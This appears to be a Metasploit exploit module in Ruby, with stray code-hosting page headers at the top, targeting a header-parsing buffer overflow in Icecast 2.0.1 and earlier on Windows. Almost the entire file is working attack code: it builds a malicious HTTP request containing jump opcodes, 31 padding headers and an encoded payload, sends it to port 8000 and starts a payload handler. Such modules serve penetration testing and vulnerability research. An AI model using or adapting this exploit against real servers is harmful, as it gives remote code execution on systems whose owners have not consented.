92 lines
2.5 KiB
Ruby
92 lines
2.5 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::Http::Icecast_Header_Overflow < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Icecast (<= 2.0.1) Header Overwrite (win32)',
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'Description' => %q{
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This module exploits a buffer overflow in the header parsing
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of icecast, discovered by Luigi Auriemma. Sending 32 HTTP
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headers will cause a write one past the end of a pointer
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array. On win32 this happens to overwrite the saved
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instruction pointer, and on linux (depending on compiler,
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etc) this seems to generally overwrite nothing crucial (read
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not exploitable).
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!! This exploit uses ExitThread(), this will leave icecast
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thinking the thread is still in use, and the thread counter
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won't be decremented. This means for each time your payload
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exits, the counter will be left incremented, and eventually
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the threadpool limit will be maxed. So you can multihit,
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but only till you fill the threadpool.
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},
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'Author' => [ 'spoonm', 'Luigi Auriemma <aluigi@autistici.org>' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '10406'],
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[ 'BID', '11271'],
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[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-09/0366.html'],
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[ 'MIL', '25'],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x0d\x0a\x00",
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'DisableNops' => true,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'No return address needed :-)', { }],
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],
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'DisclosureDate' => 'Sep 28 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8000)
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], self.class)
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end
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# Interesting that ebp is pushed after the local variables, and the line array
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# is right before the saved eip, so overrunning it just by 1 element overwrites
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# eip, making an interesting exploit....
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# .text:00414C00 sub esp, 94h
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# .text:00414C06 push ebx
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# .text:00414C07 push ebp
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# .text:00414C08 push esi
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def exploit
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connect
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# bounce bounce bouncey bounce.. (our chunk gets free'd, so do a little dance)
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# jmp 12
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evul = "\xeb\x0c / HTTP/1.1 #{payload.encoded}\r\n"
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evul << "Accept: text/html\r\n" * 31;
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# jmp [esp+4]
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evul << "\xff\x64\x24\x04\r\n"
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evul << "\r\n"
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sock.put(evul)
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handler
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disconnect
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end
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end
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end
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